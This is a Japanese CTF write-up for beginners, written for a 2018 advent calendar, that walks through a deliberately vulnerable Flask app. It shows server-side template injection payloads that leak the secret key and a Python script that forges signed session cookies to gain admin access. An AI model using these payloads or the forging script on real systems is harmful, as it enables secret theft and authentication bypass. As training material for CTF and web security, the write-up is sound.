CTF的 Flaskに対する攻撃まとめ

この記事は [m1z0r3 Advent Calendar 2018](https://qiita.com/advent-calendar/2018/m1z0r3) の1日目です。

m1z0r3 では年に一度、チーム内で問題を出し合って解くチーム内 CTF を開催しています。
奇しくも今年のチーム内 CTF は明日に開催のため、実際に作った問題の解説はできないので、今日はボツになった作問案から書きたいと思います。

## はじめに

CTF（Capture The Flag）では、問題を解く際に Python でスクリプトを書くことが多いです。
Python には [Flask](http://flask.pocoo.org/) という軽量Webフレームワークがあり、 [CTFd](https://ctfd.io/) という CTF のスコアサーバが簡単に構築できるフレームワークなどにも使われています。

Flask は手軽に Web アプリケーションを構築できる一方で、（他の言語・フレームワーク同様に）正しく使わないとセキュリティ上問題があります。そのため、CTF の Web 問題でもしばしば取り扱われます。

- https://github.com/koki-sato/flasky

本記事では、上記の問題を解きながら、CTF でよく扱われる Flask への攻撃を解説しようと思います。
（なお、間違い等がありましたら、コメントや編集リクエストで優しく指摘してもらえると嬉しいです :bow: ）

**ちなみに対象は CTF 初心者としています。**

## 問題の概要

GitHub の README にあるようにセットアップをします。

セットアップ後 `http://localhost:5000` にアクセスすると、問題のソースコードが見られます。

```python:app.py
#!/usr/bin/env python3
import os
from dotenv import load_dotenv
from flask import Flask, render_template_string, request, session

# Load dotenv
dotenv_path = os.path.join(os.path.dirname(__file__), '.env')
load_dotenv(dotenv_path)

FLAG = os.environ.pop('FLAG')

app = Flask(__name__)
app.secret_key = os.environ.pop('SECRET_KEY')


@app.route('/', methods=['GET'])
def index():
    session['username'] = 'guest'
    return open(__file__).read()


@app.route('/echo', methods=['GET'])
def echo():
    return render_template_string(request.args.get('q', ''))


@app.route('/admin', methods=['GET'])
def admin():
    if session.get('username') == 'admin':
        return FLAG
    else:
        return 'You are not admin!'


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)
```

目標は何とかして `FLAG` という定数の値を手に入れることです。

そのためには `session['username']` の値を `admin` に書き換える必要があることがわかります。

## Flask のセッション管理

まずはじめに、Flask のセッションの管理方法について見てみます。

Flask では標準で `Flask.secret_key` を設定すると、セッションを使うことができます。この時、Flask ではセッションの内容を署名付きで Cookie に保存します。

問題ページにアクセスして、ブラウザの開発者ツールや [EditThisCookie](http://www.editthiscookie.com/) などで Cookie の値を確認すると、 `session` という Cookie の中に以下のような値が入っていると思います。

```
eyJ1c2VybmFtZSI6Imd1ZXN0In0.W_vMzg.g41aywjgtacuHnXixdM3UaG9wN4
```

このうち `.` で区切った最初の部分 `eyJ1c2VybmFtZSI6Imd1ZXN0In0` がセッションの中身を Base64 エンコードしたものになっています。

```bash
$ echo -n 'eyJ1c2VybmFtZSI6Imd1ZXN0In0=' | base64 -D
{"username":"guest"}
```

なお、セッションの中身が大きくなると `zlib` で圧縮され、その時には先頭に `.` が付きます。

Cookie を `.` で区切った2番目の部分はタイムスタンプであり、3番目は署名となります。署名には `secret_key` の値が必要となるため、 セッションの改ざんはできません。

したがって、Flask の標準のセッションでは **Cookieからセッションの中身を見ることはできてしまいますが、 `secret_key` の値が漏洩しない限りセッションの改ざんはできません。**

## Server-Side Template Injection

Web フレームワークでは、動的に HTML を生成するためにテンプレートエンジンを用いることが多いです。テンプレートエンジンは、雛形となるテンプレートとデータを合成して、HTML やメール等を生成します。

Flask では [Jinja2](http://jinja.pocoo.org/) というテンプレートエンジンを使っています。簡単な例を見てみましょう。

```python
from flask import render_template

@app.route('/users')
def users():
    users = [{'name': f'user{i}', 'url': f'http://example.com/{i}'} for i in range(5)]
    return render_template('index.html', users=users)
```

```jinja:templates/index.html
<ul>
{% for user in users %}
  <li><a href="{{ user.url }}">{{ user.name }}</a></li>
{% endfor %}
</ul>
```

Flask では `render_template` という関数によって、使用するテンプレートとテンプレートに渡す変数を指定して render します。
Jinja テンプレート内では `{% %}` で囲まれた部分が Jinja の構文と見なされ、 `{{ }}` で囲まれた部分は評価した結果を表示するようになっています。

ここで、問題のソースコードを見てみましょう。

```python
@app.route('/echo', methods=['GET'])
def echo():
    return render_template_string(request.args.get('q', ''))
```

`render_template_string` という関数は、第一引数の文字列をテンプレートとみなし render する関数です。第一引数は　`/echo?q=...` の `...` に相当するクエリパラメータです。

例えば `/echo?q=hoge` にアクセスすると、 `hoge` と表示されると思います。
しかし、 `/echo?q={{10*10}}` にアクセスすると、 `{{ }}` で囲まれた部分の内側の `10*10` が Jinja2 により評価され `100` が表示されます。

このように、ユーザーが何かしらの要因によりテンプレートに不正な値を埋め込むことで、任意のコードを実行することを **サーバサイドテンプレートインジェクション** と言います。

そして、 Flask ではデフォルトでいくつかの変数が Jinja2 に渡されており、テンプレート内で利用することができます。

- http://flask.pocoo.org/docs/1.0/templating/#standard-context

その中の一つの `config` の中に `secret_key` が格納されています。したがって、 `/echo?q={{config}}` にアクセスすると、 `config` の中にある `secret_key` の値が見えてしまいます。

```python
<Config {'ENV': 'production', 'DEBUG': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>
```

## Flask のセッション改ざん

`secret_key` の値が手に入ったので、今度はセッションの中身を見るだけでなく書き換えることもできます。

```python
#!/usr/bin/env python3
import zlib
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode, URLSafeTimedSerializer


class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    # NOTE: Override method
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )


class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)

    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)


if __name__ == '__main__':
    secret_key = '<<-- Input Seccret Key -->>'
    cookie = '<<-- Input Cookie -->>'
    print(FlaskSessionCookieManager.decode(secret_key, cookie))

    session = { 'username': 'admin' }
    print(FlaskSessionCookieManager.encode(secret_key, session))
```

上記のスクリプトは、Flask がセッションの内容を Cookie に格納する処理の一部を書き換えて、任意の内容で署名できるようにしたものです。
これにより手に入った Cookie を使ってアクセスすると、無事 FLAG が手に入ります。

## PyJail のあれこれ

今回は受け取ったクエリパラメータをそのままテンプレートとして扱いましたが、実際の CTF では何かしらの制約が設けられることが多いです。

例えば、今回の `secret_key` を見る方法は他にもあります。

- `/echo?q={{self.__dict__}}`
- `/echo?q={{url_for.__globals__.current_app.__dict__}}`
- `/echo?q={{get_flashed_messages.__globals__.current_app.__dict__}}`
- `/echo?q={{request._load_form_data.__globals__.current_app.__dict__}}`
- `/echo?q={{g.get.__globals__.sys.modules.app.app.__dict__}}`
- `/echo?q={{hoge.__init__.__globals__.sys.modules.app.app.__dict__}}`

Jinja2 では組み込み関数は使えないため、以下のような特殊属性、特殊メソッドをよく使います。

- `object.__dict__` : オブジェクトの属性を保存している辞書
- `instance.__class__` : クラスインスタンスが属しているクラス
- `callable.__globals__` : 関数のグローバル変数の入った辞書
- `object.__getitem__(key)` : `object[key]` が使えない時など

## 参考

- [Welcome to Flask — Flask 1.0.2 documentation](http://flask.pocoo.org/docs/1.0/)
- [Welcome to Jinja2 — Jinja2 Documentation (2.10)](http://jinja.pocoo.org/docs/2.10/)
- [Server-Side Template Injection - DARK MATTER](https://io.cyberdefense.jp/entry/2017/06/12/Server-Side_Template_Injection)
- [3. データモデル — Python 3.6.5 ドキュメント](https://docs.python.jp/3/reference/datamodel.html)
- [HackIT CTF 2018 - Believer Case - こんとろーるしーこんとろーるぶい](https://graneed.hatenablog.com/entry/2018/09/10/180318)